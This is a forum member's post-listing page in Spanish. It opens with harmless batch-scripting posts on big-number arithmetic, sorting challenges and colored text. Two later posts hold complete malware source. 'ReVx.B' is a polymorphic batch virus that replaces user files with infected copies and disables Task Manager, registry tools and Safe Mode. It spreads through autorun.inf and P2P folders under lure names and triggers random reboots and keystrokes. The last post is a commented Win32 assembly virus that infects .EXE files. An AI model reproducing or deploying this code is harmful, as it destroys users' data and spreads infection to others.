|
Mostrar Temas
|
Páginas: 1 2 3 [4] 5
|
31
|
Programación / Scripting / [BATCH]Suma y resta números de cualquier longitud
|
en: 24 Julio 2012, 05:19 am
|
Aquí dos funciones nuevas relacionadas con la suma y la resta. Las otras eran para decimales, estas son para saltarse el límite de 32 bits de precisión que tiene la cmd al operar. Después, cuando haga funciones para división y multiplicación decimal y corrija todos los bugs de estas funciones, lo unificaré todo en una sola clase para poder trabajar en batch con cualquier número real, con todos los dígitos decimales que uno quiera. Aquí vienen las funciones: :_addx setlocal enabledelayedexpansion set "f_s=_%~1" & set "s_s=_%~2" & set "add_str=" set/a cnt=1,car=0 :__loop.a set "n_1=!f_s:~-%cnt%,1!" set "n_2=!s_s:~-%cnt%,1!" if "%n_1%%n_2%" EQU "__" goto :_endadd if "%n_1%" EQU "_" set/a n_1=0 if "%n_2%" EQU "_" set/a n_2=0 set/a add=%n_1%+%n_2%+%car%,car=0,cnt+=1 if %add% GEQ 10 ( set/a car=1 if "!f_s:~-%cnt%,1!!s_s:~-%cnt%,1!" NEQ "__" ( set "add=%add:~-1%" )) set "add_str=%add%%add_str%" goto :__loop.a :_endadd call :_filset "%add_str%" "add_str" endlocal & set "%~3=%add_str%" & exit /b
:_subx setlocal enabledelayedexpansion if "%~1" EQU "%~2" set "sub_str=0" & goto :_endsub call :_filset "%~1" "t_1" & call :_filset "%~2" "t_2" call :_hst "%t_1%" "%t_2%" if "%hst%" EQU "%t_2%" set "min=_%~2" & set "sbs=_%~1" & set "s_g=-" if "%hst%" EQU "%t_1%" set "min=_%~1" & set "sbs=_%~2" set "sub_str=" & set/a cnt=1,c_s=0,car=0 :__loop.b set "n_1=!min:~-%cnt%,1!" set "n_2=!sbs:~-%cnt%,1!" if "%n_1%%n_2%" EQU "__" goto :_endsub if "%n_2%" EQU "_" set/a n_2=0 if "%car%" EQU "1" set/a n_2+=1,car=0 if %n_1% LSS %n_2% set/a c_s=10,car=1 set/a sub=%n_1%-%n_2%+%c_s% set "sub_str=%sub%%sub_str%" set/a cnt+=1,c_s=0 goto :__loop.b :_endsub call :_filset "%sub_str%" "sub_str" endlocal & set "%~3=%s_g%%sub_str%" & exit /b
:_filset for /f "tokens=* delims=0" %%_ in ("%~1") do set "%~2=%%_" if not defined %~2 set/a "%~2=0" exit /b
:_hst setlocal enabledelayedexpansion call :_strlen "%~1" & set/a n[0]=!errorlevel! call :_strlen "%~2" & set/a n[1]=!errorlevel! if %n[0]% EQU %n[1]% set "s_0=%~1" & set "s_1=%~2" & goto :_endhst set/a hst=0,nhst=1 if %n[1]% GTR !n[%hst%]! set/a hst=1,nhst=0 set/a l_0=!n[%hst%]!-!n[%nhst%]! shift/0 & call set "s_0=%%~%hst%" & call set "s_1=%%~%nhst%" for /l %%_ in (1,1,%l_0%) do call set "s_1=0!s_1!" :_endhst for /f %%_ in ('"(echo:%s_0%&echo:%s_1%)|sort"') do set "hst=%%_" endlocal & set "hst=%hst%" & exit /b :_strlen setlocal set/a cnt=0 for /f "tokens=* eol=" %%_ in ( '"cmd /u /c echo:%~1|more"' ) do set/a cnt+=1 endlocal & exit /b %cnt%
La sintaxis es: call :_addx "sum1" "sum2" "variable_almacén" call :_subx "min" "sbs" "variable_almacén"
Un saludo, y por favor, cualquier bug que encuentren díganmenlo, que así me ayudarán a mejorar la clase final PD: Devuelve también, en el caso de la resta, resultados negativos si el substraendo es mayor que el minuendo EDIT: Bug fixeado. Un pequeño ejemplo de su uso: @Echo Off more/c<nul echo: 125504500255796221456988250471037 echo:- 47662554011498822047690014 echo:------------------------------------- call :_subx "125504500255796221456988250471037" "47662554011498822047690014" "rslt" echo: %rslt% pause>nul & exit
Como podéis ver, estos números son imposibles de operar en batch, pero usando esta función es posible. Con decimales y con capacidad para manejar números astronómicos, creo que ya no hay excusas para no hacer programas de matemáticas en batch.
|
|
|
32
|
Programación / Scripting / [BATCH] CALC: Sumas y restas con decimales
|
en: 23 Julio 2012, 02:33 am
|
Aquí dejo una función que es capaz de sumar y restar infinitos términos con tantos decimales como permita la cmd, usando sólo batch. Dedicada a AgnesBlack, que tenía una duda con esto se ve. @Echo Off more/c<nul call :_calc sub "12.72-8.189605-1.0025" "adt" call :_calc add "%adt%+521.27+5" "adt" echo: 12.72 - 8.189605 - 1.0025 + 521.27 + 5 = %adt% pause 1>nul exit :_calc setlocal enabledelayedexpansion if "%~1" EQU "add" set "sym=+" if "%~1" EQU "sub" set "sym=-" set "add_str=%~2" set "add_str=!add_str:%sym%= !" set/a hst=0,cnt=0,add=0 for %%_ in (%add_str%) do ( set/a dec[!cnt!]=0 for /f "tokens=2 delims=." %%. in ("%%_") do ( call :_strlen "%%." set/a dec[!cnt!]=!errorlevel! if !errorlevel! GTR !hst! set/a hst=!errorlevel! ) set/a cnt+=1 ) set/a cnt=0 if "%sym%" EQU "-" for %%_ in (%add_str:.=%) do ( set/a pow=%hst%-%dec[0]%,n_b=%%_ for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0" set/a add+=!n_b!*2 goto :__op ) :__op for %%_ in (%add_str:.=%) do ( call set/a pow=%hst%-%%dec[!cnt!]%%,n_b=%%_ for /l %%. in (1,1,!pow!) do set "n_b=!n_b!0" set/a add%sym%=!n_b!,cnt+=1 ) set "res=!add:~0,-%hst%!.!add:~-%hst%!" if %hst% EQU 0 set "res=%res:~1%" endlocal & set "%~3=%res%" & exit /b :_strlen setlocal set/a cnt=0 for /f "tokens=* eol=" %%_ in ( '"cmd /u /c echo:%~1|more"' ) do set/a cnt+=1 endlocal & exit /b %cnt%
¡Un saludo!
|
|
|
33
|
Programación / Scripting / [Reto Batch]Algoritmo Quicksort
|
en: 22 Julio 2012, 20:31 pm
|
Reto Nº 18 Nombre: Algoritmo Quicksort ( Binary_Death) Dificultad: 6/10 Objetivo: Desarrollar una función de ordenamiento de números basada en el algoritmo quicksort. Indicaciones: El algoritmo se puede ver aquí: http://es.wikipedia.org/wiki/QuicksortLa llamada a la función ha de ser como sigue: call :_qsort "a b c d e f g h i..." Donde las letras son números cualquiera.
|
|
|
34
|
Programación / Scripting / [BATCH] Colored ECHO función
|
en: 22 Julio 2012, 01:03 am
|
Esta es una versión que hice de la ya muy antigua función de echo coloreado usando findstr. ¿Recuerdan que siempre quedaban los dos puntos al final de la cadena? He visto formas de eliminarlos que hicieron algunos usuarios, de varias maneras. Aquí dejo yo una que es muy corta: @Echo Off for %%x in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do ( for %%y in (0,1,2,3,4,5,6,7,A,B,C,D,E,F) do ( call:_echo "Color %%x%%y" %%x%%y ) ) exit :_echo chdir "%temp%" exit|cmd /k prompt $H>"%~1" findstr /v /a:%~2 /r "^$" "%~1*" && ECHO+ del /f /q "%~1" goto:eof
Como pueden ver, aquí el propio carácter backspace está incluido en en fichero que se le pasa como parámetro a findstr. Un saludo
|
|
|
35
|
Programación / Scripting / [Reto Batch]Edad lunar
|
en: 8 Julio 2012, 18:58 pm
|
Aquí pueden comentar todo lo que quieran, sus dudas, avances o soluciones acerca del siguiente reto:
Reto iniciado por binary_death.
Reto Nº 16 BATCH
Nombre: Edad lunar (Binary_Death) Dificultad: 2/10 Objetivo: Programar un script que, introduciendo cualquier día, mes y año, devuelva la edad de la luna (y por ende su fase lunar) Pistas: No hay que saber demasiado batch, y la forma de calcular esto se encuentra en muchos sitios de la red. Edad lunar = epacta + día del mes + meses desde marzo
|
|
|
36
|
Programación / Scripting / [Batch] ReVx.B
|
en: 21 Junio 2012, 21:22 pm
|
@Echo Off %Header0% %_vx_% SetLocal EnableDelayedExpansion %Header0% %_vx_% GoTo :_%~1 %Header0% %_vx_% :_Hidden %Header0% %_vx_% :_ %Header0% %_vx_% Chdir "%temp%" & Copy /y "%~0" "%temp%" %Header0% 1>nul 2>&1 %Header0% %_vx_% If "%~1" NEQ "Hidden" ( %Header0% %_vx_% call :_vbs>vbs.vbs & start vbs.vbs %Header0% %_vx_% exit %Header0% %_vx_% ) else (GoTo :_code) %Header0% %_vx_% :_vbs %Header0% %_vx_% Echo.On Error Resume Next %Header0% %_vx_% Echo.SET a=CreateObject^("WScript.Shell"^) %Header0% %_vx_% Echo a.Run """%~n0%~x0"" Hidden", vbHide %Header0% %_vx_% GoTo:EoF %Header0% %_vx_% :_code %Header0% %_vx_% del /q vbs.vbs %Header0% %_vx_%
Set "__dir0=%~0" %_vx_% Set "__ext0=%~x0" %_vx_% Set "__siz0=%~z0" %_vx_% Set "__admin=0" %_vx_% Set "__path=" %_vx_% Set "__ipath=" %_vx_% Set "__vpath=" %_vx_% Set "__spath=" %_vx_% Set "__adpath=" %_vx_% Set "__modules=0,1,2,3,4,5" %_vx_% Set __iext=*.doc *.docx *.xls *.xlsx *.ppt *.pps *.pptx *.pptx *.wmv *.pdf %_vx_%^ *.jpg *.jpeg *.bmp *.gif *.mp3 *.mp4 *.avi *.mpg *.mpeg *.divx *.png *.psd %_vx_%
:_main %_vx_% Call :_AdminRequest & Call :_SetPrivs %_vx_% :_polymorphism %_vx_% Find "_vx_"<"%__dir0%">"%__vpath%" || GoTo :_polymorphism %_vx_% For /l %%x in (0,1,10) do ( %_vx_% call :SetMod "mod" %_vx_% find "_m!mod!_"<"%__dir0%">>"%__vpath%" %_vx_% call :_GenRan !random:~0,2! %_vx_% Echo.::!rstr!>>"%__vpath%" %_vx_% ) %_vx_% For %%x in (%__modules%) do Start "" /B /high "%__dir0%" Mod_%%x %_vx_% EXIT %_vx_% :SetMod %_vx_% set/a "%~1=%random% %% 11" %_vx_% (find "_m%mod%_"<"%__vpath%" 1>nul 2>&1) && (GoTo:SetMod) %_vx_% GoTo:EoF %_vx_% :_Mod_0 %_m0_%
Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ÿ" /d "%__vpath%" /f %_m0_% ( %_m0_% Echo.On Error Resume Next %_m0_% Echo.Set b = CreateObject^("Scripting.FileSystemObject"^) %_m0_% Echo.Set Ha = b.OpenTextFile^("%__vpath:\=\\%"^) %_m0_% Echo.Contn = Ha.ReadAll %_m0_% Echo.Do %_m0_% Echo.If not^(b.FileExists^("%__vpath:\=\\%"^)^) Then %_m0_% Echo.Set Hb = b.CreateTextFile^("%__vpath:\=\\%"^) %_m0_% Echo.Hb.Write Contn %_m0_% Echo.Hb.Close %_m0_% Echo.End If %_m0_% Echo.Loop %_m0_% ) 1>"%__adpath%" 2>nul %_m0_% Start "" "%__adpath%" %_m0_% EXIT %_m0_%
:_Mod_1 %_m1_% Chdir "%__ipath%" %_m1_% For /f "tokens=*" %%_ in ('dir /b /s %__iext%') do ( %_m1_% if "%%~dp_" NEQ "%__spath%\" ( %_m1_% call :_GenRan 16 %_m1_% move /y "%%_" "%__spath%\!rstr!%%~x_" %_m1_% attrib +s +h "%__spath%\!rstr!%%~x_" %_m1_% call :_Infect "%__spath%\!rstr!%%~x_" 1>"%%_.bat" 2>nul %_m1_% ) %_m1_% ) %_m1_% GoTo :_Mod_1 %_m1_%
:_Mod_2 %_m2_% Set "c__c=Doskey tskill=exit&Doskey taskkill=exit&Doskey reg=exit&Doskey cmd=exit&Doskey doskey=exit" %_m2_% Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f %_m2_% Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f %_m2_% Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 1 /f %_m2_% Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d 1 /f %_m2_% Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f %_m2_% Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Advanced" /v "Hidden" /t REG_DWORD /d 0 /f %_m2_% Reg Add "HKCU\Software\Microsoft\Command Processor" /v "AutoRun" /t REG_SZ /d "%c__c%" /f %_m2_% Reg Delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\minimal" /f %_m2_% Reg Delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\network" /f %_m2_% GoTo :_Mod_2 %_m2_%
:_Mod_3 %_m3_% Set /a "hour=%time:~0,2% + 1" %_m3_% If "%hour%" EQU "24" Set "hour=00" %_m3_% :_loop %_m3_% If "%time:~0,2%" NEQ "%hour%" GoTo :_loop %_m3_% Set /a "Dice=%random% %% 6" %_m3_% If "%Dice%" EQU "0" ( %_m3_% Pushd "%cd%" %_m3_% Chdir "%UserProfile%" %_m3_% Exit|"%ComSpec%" /k prompt e$S100$S07$_n$S@$_rcx$_1$_w$_q$_># %_m3_% debug<#>nul %_m3_% for /l %%_ in (0,1,%random:~-3%) do type @ %_m3_% Popd %_m3_% ) %_m3_% Set /a "ReBoot=%random% %% 12" %_m3_% If "%ReBoot%" EQU "0" ( %_m3_% shutdown -r -f -t 10 -c "Error 0x1445E5D9. The memory cannot be 'read'." %_m3_% ) %_m3_% Set /a "SendKeys=%random% %% 12" %_m3_% If "%SendKeys%" EQU "0" ( %_m3_% Pushd "%cd%" %_m3_% Chdir "%UserProfile%" %_m3_% ( %_m3_% Echo.Do %_m3_% Echo.Set a = CreateObject^("WScript.Shell"^) %_m3_% Echo.a.SendKeys "REVX" %_m3_% Echo.Loop %_m3_% )>skeys.vbs %_m3_% start "" "skeys.vbs" %_m3_% Popd %_m3_% ) %_m3_% GoTo :_Mod_3 %_m3_%
:_Mod_4 %_m4_% Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ÿ" /d "%__vpath%" /f %_m4_% For %%_ in ( %_m4_% A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z %_m4_% ) do ( %_m4_% If Exist "%%_:\" ( %_m4_% Copy /y "%__dir0%" "%%_:\revx.bat" %_m4_% Call:_Autorun "revx.bat" 1>"%%_:\autorun.inf" 2>nul %_m4_% Attrib +s +h "%%_:\revx.bat" %_m4_% Attrib +s +h "%%_:\autorun.inf" %_m4_% ) %_m4_% ) %_m4_% GoTo :_Mod_4 %_m4_%
:_Mod_5 %_m5_% Doskey taskkill= %_m5_% If Exist "%ProgramFiles%\WinRAR" ( %_m5_% Set "ext_p2p=rar" %_m5_% ) else (Set "ext_p2p=bat") %_m5_%
If "%ext_p2p%" EQU "rar" ( %_m5_% Set "path_p2p=%__ipath%\revxp2p.rar" %_m5_% If Exist "!path_p2p!" Del /f /q "!path_p2p!" %_m5_% Start /WAIT WinRAR.exe a "!path_p2p!" "%__dir0%" -ep1 -ibck -inul %_m5_% taskkill /f /im "WinRAR.exe" %_m5_% ) else ( Set "path_p2p=%__dir0%" ) %_m5_%
For %%i in ( %_m5_% "%ProgramFiles%\Kazaa\My Shared Folder", %_m5_% "%ProgramFiles%\Kazaa Lite\My Shared Folder", %_m5_% "%ProgramFiles%\Grokster\My Grokster", %_m5_% "%ProgramFiles%\Morpheus\My Shared Folder", %_m5_% "%ProgramFiles%\EDONKEY2000\incoming", %_m5_% "%ProgramFiles%\Gnucleus\Downloads", %_m5_% "%ProgramFiles%\eMule\Incoming", %_m5_% "%ProgramFiles%\BearShare\Shared", %_m5_% "%ProgramFiles%\Shareaza\Downloads", %_m5_% "%ProgramFiles%\ICQ\shared files", %_m5_% "%ProgramFiles%\Filetopia3\Files", %_m5_% "%ProgramFiles%\appleJuice\incoming", %_m5_% "%ProgramFiles%\LimeWire\Shared", %_m5_% "%ProgramFiles%\Overnet\incoming", %_m5_% "%ProgramFiles%\Swaptor\Download", %_m5_% "%ProgramFiles%\WinMX\My Shared Folder", %_m5_% "%ProgramFiles%\Tesla\Files", %_m5_% "%ProgramFiles%\XoloX\Downloads", %_m5_% "%ProgramFiles%\Rapigator\Share", %_m5_% "%ProgramFiles%\KMD\My Shared Folder", %_m5_% "%ProgramFiles%\Direct Connect\Received Files", %_m5_% "%HomeDrive%\My Shared Folder", %_m5_% "%UserProfile%\Desktop\My Shared Folder" %_m5_% ) do ( %_m5_% If Exist "%%~i" ( %_m5_% For %%d in ( %_m5_% "MSN_emoticons","Horny_girls_get_fucked","Asian_teen_collection", %_m5_% "Windows_7_gold_serials","MSN_hacking_code","Office_2010_activation_tool", %_m5_% "Avatar_2009_subtitles","free_sms_tool", "Justin_Bieber-Believe", %_m5_% "Twilight_e-book","Pitbull-I_know_you_want_me","Twilight_wallpapers" %_m5_% ) do ( Copy /y "%path_p2p%" "%%~i\%%~d_!random!.%ext_p2p%" ) %_m5_% ) ) %_m5_%
If Exist "%ProgramFiles%\WinRAR" ( %_m5_% For /f "Tokens=*" %%p in ( %_m5_% 'dir /b /s "%__ipath%\*.rar" "%__ipath%\*.zip"' %_m5_% ) do Start winRAR.exe a "%%~p" "%__dir0%" -ep1 -ibck -inul %_m5_% taskkill /f /im "WinRAR.exe" %_m5_% ) %_m5_%
EXIT %_m5_%
:_AdminRequest %_m6_% Net Start Workstation %_m6_% For /f "tokens=1 delims=* skip=4" %%_ in ( %_m6_% 'Net LocalGroup' %_m6_% ) Do ( %_m6_% For /f "tokens=* skip=6" %%# in ( %_m6_% 'Net LocalGroup %%_' %_m6_% ) Do ( %_m6_% If "%%#" EQU "%UserName%" ( %_m6_% Set "__admin=1" %_m6_% GoTo :EoF %_m6_% ) %_m6_% ) %_m6_% GoTo :EoF %_m6_% ) %_m6_% GoTo :EoF %_m6_%
:_SetPrivs %_m7_% If "%__admin%" EQU "1" ( %_m7_% Mkdir "%SystemRoot%\system32ÿ" %_m7_% Set "__ipath=%SystemDrive%\" %_m7_% Set "__vpath=%SystemRoot%\system32\drivers\keyboard.bat" %_m7_% Set "__spath=%SystemRoot%\system32ÿ" %_m7_% Set "__adpath=%SystemRoot%\wscript.exe.vbs" %_m7_% ) else ( %_m7_% Mkdir "%UserProfile%\Config" %_m7_% Mkdir "%UserProfile%\Config\Startup" %_m7_% Attrib +s +h "%UserProfile%\Config" %_m7_% Set "__ipath=%UserProfile%" %_m7_% Set "__vpath=%UserProfile%\Config\config.bat" %_m7_% Set "__spath=%UserProfile%\Config\Startup" %_m7_% Set "__adpath=%UserProfile%\Config\userlog.txt.vbs" %_m7_% ) %_m7_%
GoTo :EoF %_m7_%
:_GenRan %_m8_% Set "rstr=" %_m8_% For /l %%_ in (1,1,%~1) do ( %_m8_% Set /a "rval=!random! %% 2" %_m8_% If "!rval!" EQU "0" Set "rstr=!rstr!!random:~1,1!" %_m8_% If "!rval!" EQU "1" ( %_m8_% Set /a "rchr=(!random! %% 26) + 97" %_m8_% "%ComSpec%" /c Exit /b !rchr! %_m8_% Set "rstr=!rstr!!=ExitCodeAscii!" %_m8_% ) %_m8_% ) %_m8_% Goto :EoF %_m8_%
:_Infect %_m9_% Set "insrt=Header" & Set "mrk=__" %_m9_% Find "%insrt%0"<"%__dir0%" %_m9_% Echo.start "" "%~1" /high ^&::%mrk% %_m9_% Find /v "%insrt%0"<"%__dir0%" | Find /v "&::%mrk%" %_m9_% GoTo :EoF %_m9_%
:_Autorun %_m10_% Echo.[AutoRun] %_m10_% Echo.UseAutoPlay=1 %_m10_% Echo.Open=%~1 %_m10_% Echo.shell\open\command=%~1 %_m10_% GoTo :EoF %_m10_%
Este es un pequeño malware polimórfico de hace un tiempo. Tiene el pan de cada día y algunas cosas curiosas, como la suplantación de ficheros de ciertas extensiones por copias del propio malware que a su vez antes de ejecutarse lanzarán el fichero original, dando el efecto de que no está corrupto. Sigue este patrón para todos los ficheros excepto para los .RAR y .ZIP. Con estos intenta añadirse si es que está disponible el WinRAR. Por otro lado, para asegurar su ejecución, hice que casi todo el código funcionara como usuario restringido o administrador, detectando en algunos casos en qué rutas puede trabajar y en cuales no por no tener acceso. El payload no es nada del otro mundo, es más bien una broma. Es aleatorio, funciona en base a probabilidades, y lo que voy a describir ahora ocurre por cada instancia ejecutada en el equipo: 1/6 Probabilidades de un número aleatorio de pitidos 1/12 Probabilidades de reinicio 1/12 Probabilidades de enviar repetidamente pulsaciones de teclado ("REVX") Hay que tener en cuenta que cada fichero reemplazado (que es prácticamente la totalidad de ficheros de uso común por el usuario) que sea ejecutado, iniciará una nueva instancia, así que lo que a priori son pocas probabilidades se van acumulando hasta que sea una hora punta y entonces se liberen. Todo por supuesto se ejecuta ocultamente, usando (no había más remedio) VBS, que a su vez lo aproveché para impedir la eliminación del fichero origen del virus. Tiene más cositas, pero a ver si las testeais vosotros El código está probado en Win XP y Win 7. ¡Un saludo!
|
|
|
37
|
Seguridad Informática / Análisis y Diseño de Malware / Virus parasitario (infector de .EXE)
|
en: 29 Abril 2012, 02:45 am
|
Es un PoC de virus para win32 poco original, infecta todos los .exe del directorio añadiendo su código al final de la última sección del ejecutable host. EDIT: Lo he comentado por completo, porque si no es muy difícil de leer .386 .model flat, stdcall option casemap:none assume fs:nothing .code vx_code: start_vx_code: call _delta _delta: ;Get the delta offset pop ebp sub ebp, offset _delta ;MyEntryPoint would be saved ;in HostEntryPoint if the current ;file were infected mov eax, [ebp + HostEntryPoint] mov [ebp + MyEntryPoint], eax ;Call to _GtGetProcAddress ;to find out Kernel32 base ;and GetProcAddress Address call _GtGetProcAddress mov [ebp + GtProcAdH], eax mov [ebp + Kernel32H], edx call _GtRequiredAPIs _FindFirst: ;Find first file, loading the parameters ;according to ebp, delta offset lea ebx, [ebp + win32_find_data] lea edx, [ebp + filter] push ebx push edx call [ebp + FindFirstFileAH] ;If it hasn't found any file ;return to the host file code cmp eax, -1 jz end_vx ;Else save the Handle in FileHandleFind mov [ebp + FileHandleFind], eax ;And call infect_file to try to infect it call infect_file _FindNext: ;Load the parameters for FindNextFileA and call it lea ebx, [ebp + win32_find_data] mov edx, [ebp + FileHandleFind] push ebx push edx call [ebp + FindNextFileAH] ;If it hasn't found anything else, return cmp eax, 00h jz end_vx ;Else try to infect the file call infect_file ;Search more files jmp _FindNext retn end_vx: ;If delta offset is 00h ;the virus is not running on ;another executable, so exit to OS cmp ebp, 00h jnz return retn return: ;Else access to TIB to get ;the current ImageBase mov eax, fs:[030h] mov eax,[eax + 08h] ;And add it to MyEntryPoint add [ebp + MyEntryPoint], eax ;To jump jmp dword ptr[ebp + MyEntryPoint] _procedures: _GtGetProcAddress: ;To get kernel32 ImageBase ;Looking at the PEB mov ebx, fs:[030h] mov ebx, [ebx + 0ch] mov ebx, [ebx + 0ch] mov ebx, [ebx + 00h] mov ebx, [ebx + 00h] mov eax, [ebx + 18h] ;To get export table address mov ebx, [eax + 3Ch] add ebx, eax mov ebx, [ebx + 78h] add ebx, eax ;Save that address push ebx ;Pointer to AddressOfNames mov ebx, [ebx + 20h] add ebx, eax xor edx, edx _loop: ;Each entry of AddressOfNames ;Is a pointer to one string ;which has the name of one API lea esi, [ebp + GpaName] mov edi, [ebx + edx] add edi, eax mov ecx, 0Fh add edx, 04h repz cmpsb jnz _loop sub edx, 04h ;Divide edx by 2 to use it as ;an index in AddressOfNameOrdinals ;(2 bytes by entry) shr edx, 01h ;Restore ExportTable address pop ebx ;Access to AddressOfNameOrdinals mov edi, [ebx + 24h] add edi, eax ;To get the index that is going ;to be used in AddressOfFunctions movzx edx, word ptr[edi + edx] ;Each entry is 4 bytes long shl edx, 02h ;Load AddressOfFunctions address in edi mov edi, [ebx + 1Ch] add edi, eax ;Load GetProcAddress address in edi mov edi, [edi + edx] add edi, eax ;edx = Kernel base ;eax = GetProcAddress address mov edx, eax mov eax, edi retn _GtRequiredAPIs: ;Source registry points to ApiListH (where the APIs handles will be) ;Destiny registry points to ApiListN (where the APIs names are) lea edi, [ebp + ApiListN] lea esi, [ebp + ApiListH] ;Ebx contains Kernel32 base mov ebx, [ebp + Kernel32H] GetAPI_Loop: ;Push the Kernel base and ;the API name to get its address push edi push ebx call [ebp + GtProcAdH] ;Save the adress where source registry points mov [esi], eax ;Find the next API in the list pointed by edi xor eax, eax repnz scasb ;Esi points to the next handle to fill up add esi, 04h ;If it's not the end of the list ;get the next API, else return cmp byte ptr[edi], 00h jnz GetAPI_Loop retn infect_file: ;VirusHostSize contains the size of the virus ;plus the size of the host mov ebx, VirusSize add ebx, [ebp + win32_find_data.nFileSizeLow] mov [ebp + VirusHostSize], ebx ;Open the file to read and write on it ;And shared on reading push 00h push 00h push 03h push 00h push 01h push 0C0000000h lea ebx, [ebp + win32_find_data.cFileName] push ebx call [ebp + CreateFileAH] ;If the file could not be opened ;jump to end_infect_file to search more files cmp eax, -1 jz end_infect_file ;Else save the handle in FileHandleCreate mov [ebp + FileHandleCreate], eax ;Push the file size to the stack and map the file in memory ;Eax will contain the base address of the mapped file push [ebp + win32_find_data.nFileSizeLow] call map_file_in_memory ;Is it an executable file? cmp word ptr[eax], "ZM" ;Otherwise close the handles and return jnz close_view ;Ebx contains the address where the PE files ;header begins mov ebx, [eax + 3Ch] add ebx, eax ;If it's not a PE file close the handles and return cmp word ptr[ebx], "EP" jnz close_view ;If the file is already infected ;close the handles and return cmp dword ptr[eax + 6Ch], "hDyB" jz close_view ;falignvalue will contain the FileAlignment ;and salignvalue will contain the SectionAlignment mov eax, [ebx + 3Ch] mov [ebp + falignvalue], eax mov eax, [ebx + 38h] mov [ebp + salignvalue], eax ;Get the new size of the file ;that is, the VirusHostSize rounded up ;to the FileAlignment push dword ptr[ebp + VirusHostSize] push dword ptr[ebp + falignvalue] call _alignment ;And push it to the stack push eax ;Unmap the file push [ebp + MappedFile] call [ebp + UnmapViewOfFileH] push [ebp + FileHandleMap] call [ebp + CloseHandleH] ;And map it again with the new size call map_file_in_memory ;Save the base address of the mapped file push eax ;Mark the file with the signature ByDh mov dword ptr[eax + 6Ch], "hDyB" ;Ebx contains the PE header address mov ebx, [eax + 3Ch] add ebx, eax ;Save this address push ebx ;Move to edx the size of optional header movzx edx, word ptr[ebx + 14h] ;Load in esi the address of the first structure ;of the PE Section Table ;(PEHeader + SizeOfOptionalHeader + PEHeaderSize) lea esi, [ebx + edx + 18h] ;And push it to stack to use it later push esi ;Move to ecx NumberOfSections movzx ecx, word ptr[ebx + 06h] ;And push it to stack to use it later push ecx ;Eax = 00h, and it will contain ;the highest PointerToRawData xor eax, eax _SectionsLoop: ;Compare the current biggest pointer ;with the PointerToRawData of the next section cmp [esi + 14h], eax ;If it isn't bigger jump to _notbigger jb _notbigger ;Else save ecx (index of current section) in ebx ;And move that pointer to eax mov ebx, ecx mov eax, [esi + 14h] _notbigger: ;Esi points to the next section table add esi, 28h loop _SectionsLoop ;Eax = NumberOfSections pop eax ;Subtract ebx from the NumbersOfSections ;and multiply it by 28h sub eax, ebx mov ecx, 28h mul ecx ;Restore esi (the pointer to the first table) ;and add eax to make it point to the table which has ;the highest PointerToRawData pop esi add esi, eax ;Ebx contains VirtualSize, save it into the stack mov ebx, [esi + 08h] push ebx ;New VirtualSize = Old VirtualSize + VirusSize add ebx, VirusSize mov [esi + 08h], ebx ;Eax contains the new VirtualSize ;Rounded up to FileAlignment push ebx push [ebp + falignvalue] call _alignment ;That is, it's the new SizeOfRawData ;so change it up mov [esi + 10h], eax ;ecx = Old VirtualSize ;ebx = PE Header Address pop ecx pop ebx ;Save the EntryPoint of the file ;in HostEntryPoint mov edx, [ebx + 28h] mov [ebp + HostEntryPoint], edx ;edx = VirtualAddress + VirtualSize mov edx, [esi + 0Ch] add edx, ecx ;That is, the new EntryPoint ;so change it up mov [ebx + 28h], edx ;Save PE Header Address into the stack push ebx ;eax = New VirtualSize + VirtualAddress mov eax, [esi + 08h] add eax, [esi + 0Ch] ;Get the new SizeOfImage, ;[[(VirtualSize+VirtualAddress)/0x1000]+1]*0x1000 push eax push [ebp + salignvalue] call _alignment ;Set the new SizeOfImage pop ebx mov [ebx + 50h], eax ;Last section characteristics: ;CODE|EXECUTE|READ|WRITE or dword ptr[esi + 24h], 0E0000020h ;eax = Base Address of mapped file pop eax ;ebx = PointerToRawData mov ebx, [esi + 14h] ;ebx = Base Address + PointerToRawData + Old VirtualSize lea ebx, [eax + ebx] add ebx, ecx ;Copy the virus code in the host code ;esi = beginning of the virus code ;edi = end of the last section lea esi, [ebp + start_vx_code] mov edi, ebx mov ecx, VirusSize rep movsb ;Close all the handles jmp close_all _alignment: ;The formula to align a value is: ;AlignedValue = [(Value/Alignment)+1]*Alignment ;Save the returning address in edi pop edi ;Get the value to align and the alignment pop ebx pop eax xor edx, edx div ebx cmp edx, 00h jz _align inc eax _align: xor edx, edx mul ebx ;Push the returning address ;and jump to it push edi retn map_file_in_memory: ;esi = returning address ;edi = mapping size pop esi pop edi ;Create the file mapping object push 00h push edi push 00h push 04h push 00h push [ebp + FileHandleCreate] call [ebp + CreateFileMappingAH] cmp eax, 00h jz close_file mov [ebp + FileHandleMap], eax ;And create a view of the file ;using the size in edi push edi push 0 push 0 push 000F001Fh push [ebp + FileHandleMap] call [ebp + MapViewOfFileH] cmp eax, 00h jz close_filemap mov [ebp + MappedFile], eax ;Set the returning address ;and jump to it push esi retn ;Chain of functions which close the appropiate handles close_all: close_view: push [ebp + MappedFile] call [ebp + UnmapViewOfFileH] close_filemap: push [ebp + FileHandleMap] call [ebp + CloseHandleH] close_file: push [ebp + FileHandleCreate] call [ebp + CloseHandleH] end_infect_file: retn _data: Kernel32H dd ? GtProcAdH dd ? GpaName db "GetProcAddress",0 ExitProcessN db "ExitProcess",0 ApiListN db "FindFirstFileA",0 db "FindNextFileA",0 db "CreateFileA",0 db "CreateFileMappingA",0 db "MapViewOfFile",0 db "CloseHandle",0 db "UnmapViewOfFile",0 db 0 ApiListH: FindFirstFileAH dd ? 